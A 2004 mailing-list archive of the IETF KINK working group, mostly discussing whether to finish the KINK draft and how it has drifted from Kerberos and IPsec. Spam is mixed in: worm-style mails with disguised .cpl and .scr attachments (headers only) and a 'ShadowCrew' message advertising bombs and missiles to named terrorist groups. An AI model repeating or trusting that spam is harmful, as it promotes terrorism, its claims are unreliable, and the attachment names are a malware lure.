----------nvezpezkysodxgfxkfms Content-Type: application/octet-stream; name="text_document.cpl" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="text_document.cpl" ----------nvezpezkysodxgfxkfms-- From owner-ietf-kink Tue Jul 20 17:04:48 2004 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i6L04mQE005554; Tue, 20 Jul 2004 17:04:48 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i6L04mkJ005553; Tue, 20 Jul 2004 17:04:48 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from PC_hipolito.net (dns.sil.edu.pe [64.76.72.108]) by above.proper.com (8.12.11/8.12.9) with SMTP id i6L04lL6005545 for ; Tue, 20 Jul 2004 17:04:47 -0700 (PDT) (envelope-from jtrostle@world.std.com) Date: Tue, 20 Jul 2004 19:04:59 -0500 To: "Ietf-kink" From: "Jtrostle" Subject: Re: Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------smmugicwuthgjupagmyi" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: ----------smmugicwuthgjupagmyi Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit >Lovely animals


----------smmugicwuthgjupagmyi Content-Type: application/octet-stream; name="Music_MP3.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Music_MP3.scr" ----------smmugicwuthgjupagmyi-- From owner-ietf-kink Sun Sep 26 17:11:31 2004 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i8R0BVNM025581; Sun, 26 Sep 2004 17:11:31 -0700 (PDT) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i8R0BVM2025580; Sun, 26 Sep 2004 17:11:31 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from 220.68.173.131 ([220.68.173.131]) by above.proper.com (8.12.11/8.12.9) with SMTP id i8R0BSc3025569 for ; Sun, 26 Sep 2004 17:11:30 -0700 (PDT) (envelope-from ms84t@excite.com) Message-Id: <200409270011.i8R0BSc3025569@above.proper.com> From: mundy@tislabs.com To: ietf-kink@vpnc.org Subject: How one can become a terrorist? Date: Sun, 26 Sep 2004 19:11:37 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1437 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Welcome to our web site www.shadowcrew.com/phpBB2/index.php Please use http://63.240.81.5 in case of our domain outage. You\'re invited to shop for large selection of bombs and different kinds of rockets such as surface-to-air, surface-to-surface and weaponry available at reduced price. With the following types of rockets you will be able to commit terrorist attacks, destroy buildings, electric power stations, bridges, factories and anything else that comes your mind. Most items are in stock and available for next day freight delivery in the USA. Worldwide delivery is available at additional cost. Prices are negotiable. Please feel free to inquire by ICQ # 176928755 or contacting us directly: +1-305-592-2222 +1-919-319-8249 +1-314-770-3395 Today special: ******* AIR BOMBS ******* OFAB-500U HE fragmentation air bomb Fuel-air explosive air bombs -Not in stock BETAB-500U concrete-piercing air bomb ZB-500RT incendiary tank 500-KG SIZE RBK-500U unified cluster bomb RBK-500U OAB-2.5PT loaded with fragmentation submunitions RBK-500U BETAB-M loaded with concrete-piercing submunitions-Not in stock RBK-500U OFAB-50UD loaded with HE fragmentation submunitions ******* UNGUIDED AIRCRAFT ROCKETS ******* Main-purpose unguided aircraft rockets S-8 unguided aircraft rockets S-8KOM S-8BM-Not in stock S-13 unguided aircraft rockets S-13, S-13T, S-13-OF, S-13D, S-13DF S-25-0 S-25-OFM S-24B -Not in stock RS-82 RS-132-Not in stock ******* ROCKET PODS ******* B-8M pod for S-8 rockets B-8V20-A pod for S-8 rockets B-13L pod for S-13 rockets Recently received *NEW* Hydra 70 2.75 inch Rockets Air-Launched 2.75-Inch Rockets FIM-92A Stinger Weapons System Stinger 101: Anti-Air Our clients are well known Al-Qaida, Hizballah, Al-Jihad, HAMAS, Abu Sayyaf Group and many other terrorist groups. We are well known supplier in the market and looking forward to expand our clientage with assistance of Internet. Do not hesitate to contact us via ICQ # 176928755 Impatiently awaiting for your orders, ShadowCrew From owner-ietf-kink Wed Dec 15 11:56:33 2004 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id iBFJuWvL055285; Wed, 15 Dec 2004 11:56:32 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id iBFJuUaU055234; Wed, 15 Dec 2004 11:56:30 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (CARTER-ZIMMERMAN.MIT.EDU [18.18.3.197]) by above.proper.com (8.12.11/8.12.9) with ESMTP id iBFJuNou055186 for ; Wed, 15 Dec 2004 11:56:24 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id 1F160E0063; Wed, 15 Dec 2004 14:57:01 -0500 (EST) To: ietf-kink@vpnc.org Cc: hartmans-ietf@mit.edu Subject: Sufficient Energy to finish KINK--comments by 2005-01-06 From: Sam Hartman Date: Wed, 15 Dec 2004 14:57:00 -0500 Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hi. Recently, Steve Bellovin resigned from the IESG and I replaced him as a security AD. I happen to be the AD responsible for this working group. I'm soliciting comments to determine whether there is sufficient interest to finish the KINK work. We need to show that we have an active editor for the core document, have active reviewers and have someone interested in implementing. Comments should be sent to the list or to me individually by 2005-01-06. Why this message? Where is Kink now? After taking over the working group from Steve, I reviewed the document and found a number of problems (generally described below). I contacted the chairs; they believe that going forward with the work is a good idea if we have sufficient interest. We have not heard from the current document editor. If you are interested in acting as an editor, reviewer or implementer please let us know. If you are interested in reviewing let us know what your experience is. Experience with Kerberos (particularly draft-ietf-krb-wg-kerberos-crypto-xx or draft-ietf-krb-wg-kerberos-clarifications-xx), IPsec (particularly 2401bis or IKEv1) greatly appreciated. You should also indicate whether you believe the work is still valuable: willingness to help with an effort does not always imply that the effort in question is the right direction. I hope that there is sufficient interest to go forward. If there is, I will commit to doing my job as an AD responsibily and efficiently. Here's a general overview of my concerns. Another reviewer from the Kerberos working group also found similar issues. ---------------------------------------- Hi. I just got done doing a quick read through of the kink draft. My goal was to figure out if the draft was ready to go back to the IESG. My initial conclusion is that there are several issues the working group would need to resolve before the draft could be considered. The IANA considerations section needs work. IT sounds like the current text wants to define the KINK payloads but doesn't actually register them because there is no registry to put them in. I don't think that will be acceptable to IANA. IT may be that you need to create and populate the appropriate registry to make forward progress. It actually looks like the registry has been created recently, so you might just need to register your entries. The security section needs some additional work; I can write up comments on that. I do want to insist on better conformance to id-nits before the document is considered. The particular complaint I have is that the draft does not have consistent page breaks; that makes it hard to print. A potential reviewer pointed to this and indicated that conformance to id-nits made the job of reviewing drafts easier. My own experience agrees; page numbers are useful for citations and for searching. Please make sure that the document complies with id-nits including modern IPR disclosures, appropriately numbered sections, etc before resubmitting. Unfortunately, there is a deeper issue. Kink and Kerberos have drifted apart. The IESG has approved a new crypto framework for Kerberos and a new version of the base protocol. Here are some ways in which kink does not fit modern Kerberos: * Kink assumes that Kerberos EncryptedData can be decomposed and the integrity protection removed * Kink requires that Kerberos has integrity protected errors. The current and past versions of Kerberos do not support this feature although the working group is specifying a version that will support this behavior. * The Kink description of how to verify a checksum assumes that Kerberos checksums are deterministic; this is not strictly required. * Descriptions of how to deal with Kerberos crypto operations should be written in terms of the crypto framework document. * The key derivation seems inconsistent with the crypto framework document. * Usage of kink should specify the key usage numbers for kerberos encryption. I would consider it important to fix these problems even if it were possible to treat KINK as a protocol referencing an old version of Kerberos. However KINK needs to support the new crypto framework in order to support AES which is the current mandatory to implement encryption type for Kerberos. I will not bring a document to the IESG that only supports DES. I'm also concerned that KINK and IPsec have drifted as well. The current document discusses parts of the SPD that seem like they belong more in the PAD. There may be other realignments required. The text discussing U2U Kerberos seems broken. It seems like the server tells the client what principal to authenticate to, but this principal is not properly authorized. --Sam From owner-ietf-kink Thu Dec 16 18:17:37 2004 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id iBH2HbuL073725; Thu, 16 Dec 2004 18:17:37 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id iBH2Hb3I073724; Thu, 16 Dec 2004 18:17:37 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id iBH2Haci073717 for ; Thu, 16 Dec 2004 18:17:37 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 4FD2711 for ; Fri, 17 Dec 2004 11:17:42 +0900 (JST) Received: from mitana.nanohz.org ([203.178.156.249]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 1OYYqi; Fri, 17 Dec 2004 11:17:42 +0900 (JST) Date: Fri, 17 Dec 2004 11:17:50 +0900 Message-ID: <20041217111750OA%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Re: Sufficient Energy to finish KINK--comments by 2005-01-06 In-Reply-To: References: User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams-pre) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: [Reposting because my previous post doesn't have appeared on the list within 24 hours.] At Wed, 15 Dec 2004 14:57:00 -0500, Sam Hartman wrote: > > I'm soliciting comments to determine whether there is sufficient > interest to finish the KINK work. Hi, I'm much interested in KINK and implementing it for *BSD and Linux as a member of racoon2 project. A prototype implementation (with pre-alpha quality) will be released in this year. I think the work is still valuable (and also willing to continue to implement it), because I think KINK is suitable for well managed environments which have a lot of devices with limited computational power. When this work is decided to go forward, I will commit my experiences in implementing KINK to revising the draft. -- KAMADA Ken'ichi From owner-ietf-kink Thu Dec 16 19:25:20 2004 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id iBH3PKYp081671; Thu, 16 Dec 2004 19:25:20 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id iBH3PKKD081670; Thu, 16 Dec 2004 19:25:20 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-3.cisco.com (sj-iport-3-in.cisco.com [171.71.176.72]) by above.proper.com (8.12.11/8.12.9) with ESMTP id iBH3PJPC081655 for ; Thu, 16 Dec 2004 19:25:19 -0800 (PST) (envelope-from mat@cisco.com) Received: from sj-core-2.cisco.com (171.71.177.254) by sj-iport-3.cisco.com with ESMTP; 16 Dec 2004 20:32:19 +0000 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id iBH3PBMI016829; Thu, 16 Dec 2004 19:25:12 -0800 (PST) Received: from thomasm-lnx.cisco.com (thomasm-lnx.cisco.com [171.71.96.50]) by imail.cisco.com (8.12.11/8.12.10) with ESMTP id iBH3No8i030386; Thu, 16 Dec 2004 19:23:50 -0800 Subject: Re: Sufficient Energy to finish KINK--comments by 2005-01-06 From: Michael Thomas To: "KAMADA Ken'ichi" Cc: ietf-kink@vpnc.org In-Reply-To: <20041217111750OA%kamada@nanohz.org> References: <20041217111750OA%kamada@nanohz.org> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-aM0qQYlSY1AQFX3S4Jnl" Organization: Cisco Systems Message-Id: <1103253916.13011.4.camel@thomasm-lnx.cisco.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Thu, 16 Dec 2004 19:25:16 -0800 IIM-SIG: v:"1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1103253830.557248"; x:"432200"; a:"rsa-sha1"; b:"nofws:1791"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2pXIw" "eAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRU" "tW+c43sl9jC50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"N4bcEod2v3dx+h0iew23Rs56Dernp1qnL1aHzr7/w/i9vKvfM/X2vUmnSq2yf" "BjFGzGaquAH9bH2ewphBDYB61OKCg8kJzg1Ius0ApX+Cvm/18rbeEAOtRa7gT" "/njPbLjAdN4xvpEokSmUG3VXueKMGh7AD9CXfvS+gLn2z1+kM="; c:"Subject: Re: Sufficient Energy to finish KINK--comments by 2005-01-06"; c:"From: Michael Thomas "; c:"Date: Thu, 16 Dec 2004 19:25:16 -0800" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --=-aM0qQYlSY1AQFX3S4Jnl Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Ken'ichi-san,=20 I've been very busy lately on other things and haven't had a chance to digest Sam's comments very well, but some help for KINK to move it forward would be=20 appreciated. If there's really interest, I'm willing to do my part to finalize KINK. Mike On Thu, 2004-12-16 at 18:17, KAMADA Ken'ichi wrote: > [Reposting because my previous post doesn't have appeared on the list > within 24 hours.] >=20 > At Wed, 15 Dec 2004 14:57:00 -0500, > Sam Hartman wrote: > >=20 > > I'm soliciting comments to determine whether there is sufficient > > interest to finish the KINK work. >=20 > Hi, I'm much interested in KINK and implementing it for *BSD and Linux > as a member of racoon2 project. A prototype implementation (with > pre-alpha quality) will be released in this year. >=20 > I think the work is still valuable (and also willing to continue to > implement it), because I think KINK is suitable for well managed > environments which have a lot of devices with limited computational > power. >=20 > When this work is decided to go forward, I will commit my experiences > in implementing KINK to revising the draft. --=-aM0qQYlSY1AQFX3S4Jnl Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iQCVAwUAQcJRnLMsDAj/Eq++AQImBwP9GMFvw9tV7MLwP44xeaXRYH0WH5wdnMPG BM53wf60THf/wG4wlDgYnMTtOhrBePrOcd+PLDfT13DfloPjB9aQgiu0us1xsIeZ Op7tl78lVsVIdCi0AfCxBya2Ak+vJi+4T+AdcVVwJRQcGJgZYa4JPjw6nX7gfLF7 uzLYECcPuLM= =W/TJ -----END PGP SIGNATURE----- --=-aM0qQYlSY1AQFX3S4Jnl-- From owner-ietf-kink Thu Dec 16 19:55:39 2004 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id iBH3tdBQ099456; Thu, 16 Dec 2004 19:55:39 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id iBH3tdMn099455; Thu, 16 Dec 2004 19:55:39 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from march.taca.jp (vbox.nezu.wide.ad.jp [203.178.142.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id iBH3tcGQ098981 for ; Thu, 16 Dec 2004 19:55:38 -0800 (PST) (envelope-from nov@tahi.org) Received: from localhost (vbox.nezu.wide.ad.jp [203.178.142.195]) by march.taca.jp (Postfix) with ESMTP id 007DD1FB7D for ; Fri, 17 Dec 2004 12:55:22 +0900 (JST) Date: Fri, 17 Dec 2004 12:55:21 +0900 (JST) Message-Id: <20041217.125521.10404205.nov@tahi.org> To: ietf-kink@vpnc.org Subject: Re: Sufficient Energy to finish KINK--comments by 2005-01-06 From: Nobuo OKABE In-Reply-To: <20041217111750OA%kamada@nanohz.org> References: <20041217111750OA%kamada@nanohz.org> X-Mailer: Mew version 4.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: FYI Some people outside IETF are also interested in KINK. http://fire.nist.gov/bfrlpubs/build03/art034.html So I believe KINK is important for industrial area where there are a lot of low-end devices mentioned by Kamada-san. Thanks, From: "KAMADA Ken'ichi" Subject: Re: Sufficient Energy to finish KINK--comments by 2005-01-06 Date: Fri, 17 Dec 2004 11:17:50 +0900 > > [Reposting because my previous post doesn't have appeared on the list > within 24 hours.] > > At Wed, 15 Dec 2004 14:57:00 -0500, > Sam Hartman wrote: > > > > I'm soliciting comments to determine whether there is sufficient > > interest to finish the KINK work. > > Hi, I'm much interested in KINK and implementing it for *BSD and Linux > as a member of racoon2 project. A prototype implementation (with > pre-alpha quality) will be released in this year. > > I think the work is still valuable (and also willing to continue to > implement it), because I think KINK is suitable for well managed > environments which have a lot of devices with limited computational > power. > > When this work is decided to go forward, I will commit my experiences > in implementing KINK to revising the draft. ----- nobuo From owner-ietf-kink Thu Dec 16 20:25:59 2004 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id iBH4PxBu014274; Thu, 16 Dec 2004 20:25:59 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id iBH4Pxvu014273; Thu, 16 Dec 2004 20:25:59 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from biscayne-one-station.mit.edu (BISCAYNE-ONE-STATION.MIT.EDU [18.7.7.80]) by above.proper.com (8.12.11/8.12.9) with ESMTP id iBH4PwKI014267 for ; Thu, 16 Dec 2004 20:25:58 -0800 (PST) (envelope-from raeburn@MIT.EDU) Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103]) by biscayne-one-station.mit.edu (8.12.4/8.9.2) with ESMTP id iBH4Q3kn029529 for ; Thu, 16 Dec 2004 23:26:03 -0500 (EST) Received: from [18.101.0.226] ([18.101.0.226]) (authenticated bits=0) (User authenticated as raeburn@ATHENA.MIT.EDU) by outgoing.mit.edu (8.12.4/8.12.4) with ESMTP id iBH4PwmM010324 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT) for ; Thu, 16 Dec 2004 23:26:02 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v619) In-Reply-To: <20041217.125521.10404205.nov@tahi.org> References: <20041217111750OA%kamada@nanohz.org> <20041217.125521.10404205.nov@tahi.org> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Ken Raeburn Subject: Re: Sufficient Energy to finish KINK--comments by 2005-01-06 Date: Thu, 16 Dec 2004 23:25:56 -0500 To: ietf-kink@vpnc.org X-Mailer: Apple Mail (2.619) X-Spam-Score: -4.9 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.42 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On Dec 16, 2004, at 22:55, Nobuo OKABE wrote: > FYI > > Some people outside IETF are also interested in KINK. > > http://fire.nist.gov/bfrlpubs/build03/art034.html > > So I believe KINK is important for industrial area > where there are a lot of low-end devices > mentioned by Kamada-san. Thanks for that pointer, I hadn't seen that before. Looks like they're recommending Kerberos as one of their options, though their complaints about it include: still uses DES (being addressed); no role-based authorization; hard to set up and administer. > From: "KAMADA Ken'ichi" > Subject: Re: Sufficient Energy to finish KINK--comments by 2005-01-06 > Date: Fri, 17 Dec 2004 11:17:50 +0900 >> When this work is decided to go forward, I will commit my experiences >> in implementing KINK to revising the draft. That's great, thank you! I also would like to see this work happen, but coming from the Kerberos side and not the IPsec world, I don't think I can be of the greatest help in implementing it. I was trying to follow the WG discussions for a while, but as the general tendency seemed to be to explain some Kerberos bits and assume knowledge of IPsec, I got a bit lost... I'm happy to help with the Kerberos aspects of the spec, though, and any problems with use of the MIT implementation, and I've started looking over the current draft again myself. Ken From owner-ietf-kink Wed Dec 29 09:28:30 2004 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id iBTHSU5R038973; Wed, 29 Dec 2004 09:28:30 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id iBTHSUtn038972; Wed, 29 Dec 2004 09:28:30 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from luminous.mit.edu (LUMINOUS.MIT.EDU [18.101.1.61]) by above.proper.com (8.12.11/8.12.9) with ESMTP id iBTHSUHQ038940 for ; Wed, 29 Dec 2004 09:28:30 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by luminous.mit.edu (Postfix, from userid 1000) id A486B7682D; Wed, 29 Dec 2004 12:27:06 -0500 (EST) To: ietf-kink@vpnc.org Subject: Re: Sufficient Energy to finish KINK--comments by 2005-01-06 References: <20041217111750OA%kamada@nanohz.org> <20041217.125521.10404205.nov@tahi.org> From: Sam Hartman Date: Fri, 17 Dec 2004 18:08:36 -0500 In-Reply-To: <20041217.125521.10404205.nov@tahi.org> (Nobuo OKABE's message of "Fri, 17 Dec 2004 12:55:21 +0900 (JST)") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) Content-Type: text/plain; charset=us-ascii MIME-Version: 1.0 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> "Nobuo" == Nobuo OKABE writes: Nobuo> FYI Nobuo> Some people outside IETF are also interested in KINK. Nobuo> http://fire.nist.gov/bfrlpubs/build03/art034.html Nobuo> So I believe KINK is important for industrial area where Nobuo> there are a lot of low-end devices mentioned by Kamada-san. Sure, but if we cannot get enough people within the IETF to be interested then we cannot do adequate review and so we will not do the work. If you have contacts in any of these areas and can convince people to join this working group, rewiev specs, etc, then that would be greatly appreciated. People don't need to attend meetings to review drafts. --Sam From owner-ietf-kink Wed Dec 29 21:13:53 2004 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id iBU5Dr5c012460; Wed, 29 Dec 2004 21:13:53 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id iBU5DrIR012459; Wed, 29 Dec 2004 21:13:53 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from march.taca.jp (vbox.nezu.wide.ad.jp [203.178.142.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id iBU5DqAE012057 for ; Wed, 29 Dec 2004 21:13:53 -0800 (PST) (envelope-from nov@tahi.org) Received: from localhost (vbox.nezu.wide.ad.jp [203.178.142.195]) by march.taca.jp (Postfix) with ESMTP id 67FC21FB7D; Thu, 30 Dec 2004 14:13:34 +0900 (JST) Date: Thu, 30 Dec 2004 14:13:34 +0900 (JST) Message-Id: <20041230.141334.08619128.nov@tahi.org> To: hartmans-ietf@mit.edu Cc: ietf-kink@vpnc.org Subject: Re: Sufficient Energy to finish KINK--comments by 2005-01-06 From: Nobuo OKABE In-Reply-To: References: <20041217111750OA%kamada@nanohz.org> <20041217.125521.10404205.nov@tahi.org> X-Mailer: Mew version 4.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: From: Sam Hartman Subject: Re: Sufficient Energy to finish KINK--comments by 2005-01-06 Date: Fri, 17 Dec 2004 18:08:36 -0500 > Nobuo> FYI > Nobuo> Some people outside IETF are also interested in KINK. > Nobuo> http://fire.nist.gov/bfrlpubs/build03/art034.html > Nobuo> So I believe KINK is important for industrial area where > Nobuo> there are a lot of low-end devices mentioned by Kamada-san. > > Sure, but if we cannot get enough people within the IETF to be > interested then we cannot do adequate review and so we will not do the > work. > If you have contacts in any of these areas and can convince people to > join this working group, rewiev specs, etc, then that would be greatly > appreciated. > People don't need to attend meetings to review drafts. The followings are what we can do for the WG now: 1) Our group will contribute this WG because we are also working for those area (e.g. building, factory, plants) and implementing KINK. We will show the details later. # FYI: Kamada-san is a member of our group. 2) I don't have a concrete connection with the author of the above URL. However, I will contact him anyhow....I'm not sure the result though.... ----- nobuo From owner-ietf-kink Fri Dec 31 08:13:29 2004 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id iBVGDT8j039185; Fri, 31 Dec 2004 08:13:29 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id iBVGDTBv039184; Fri, 31 Dec 2004 08:13:29 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by above.proper.com (8.12.11/8.12.9) with ESMTP id iBVGDN4p039154 for ; Fri, 31 Dec 2004 08:13:28 -0800 (PST) (envelope-from inoue@isl.rdc.toshiba.co.jp) Received: from miomio2 (PPP258.air128.dti.ne.jp [210.170.213.26]) by shuttle.wide.toshiba.co.jp (Postfix) with ESMTP id 414A215218; Sat, 1 Jan 2005 01:13:09 +0900 (JST) Date: Sat, 01 Jan 2005 01:13:10 +0900 From: Atsushi Inoue Subject: Re: Sufficient Energy to finish KINK--comments by 2005-01-06 To: hartmans-ietf@mit.edu, Nobuo OKABE Cc: ietf-kink@vpnc.org Reply-To: inoue@isl.rdc.toshiba.co.jp In-Reply-To: <20041230.141334.08619128.nov@tahi.org> References: <20041217111750OA%kamada@nanohz.org> <20041217.125521.10404205.nov@tahi.org> <20041230.141334.08619128.nov@tahi.org> X-Mailer: Datula version 1.52.01 for Windows Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-2022-JP Message-Id: <20041231161309.414A215218@shuttle.wide.toshiba.co.jp> Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Nobuo OKABE$B$5$s$N(B<20041230.141334.08619128.nov@tahi.org>$B$+$i(B >From: Sam Hartman >Subject: Re: Sufficient Energy to finish KINK--comments by 2005-01-06 >Date: Fri, 17 Dec 2004 18:08:36 -0500 > >> Nobuo> FYI >> Nobuo> Some people outside IETF are also interested in KINK. >> Nobuo> http://fire.nist.gov/bfrlpubs/build03/art034.html >> Nobuo> So I believe KINK is important for industrial area where >> Nobuo> there are a lot of low-end devices mentioned by Kamada-san. >> >> Sure, but if we cannot get enough people within the IETF to be >> interested then we cannot do adequate review and so we will not do the >> work. >> If you have contacts in any of these areas and can convince people to >> join this working group, rewiev specs, etc, then that would be greatly >> appreciated. >> People don't need to attend meetings to review drafts. > >The followings are what we can do for the WG now: > >1) Our group will contribute this WG > because we are also working for those area > (e.g. building, factory, plants) and implementing KINK. > We will show the details later. > # FYI: Kamada-san is a member of our group. > >2) I don't have a concrete connection with the author of the above URL. > However, I will contact him anyhow....I'm not sure the result though.... > >----- nobuo We have two groups in WIDE project which have interest in standardization of KINK. One is TACA-WG (which Okabe-san mentioned above), who is developing security framework for facility networks. These facility network consists of huge number of low-capability (such as 8bit MPU) nodes. So, we need to make a scheme which can work not using public key cryptography. That's the reason why KINK is the key technical element in this work. TACA-WG has already made rough idea of the security framework and now in the prototyping stage. Another group is IPSEC group, which is also known as the developer of racoon key management deamon in KAME IPv6 stack. This group is now implementing Racoon2, which supports both IKEv2 and KINK as IPSEC key management protocols. So, we have aready implemented KINK for this Racoon2 work (Kamada-san is the main contributor for KINK part of Racoon2). Because these two groups has experience on implementing and using KINK, we can call for reviewer of KINK draft in these groups. Also, we have aready itemize several issues in implementing KINK, we (maybe 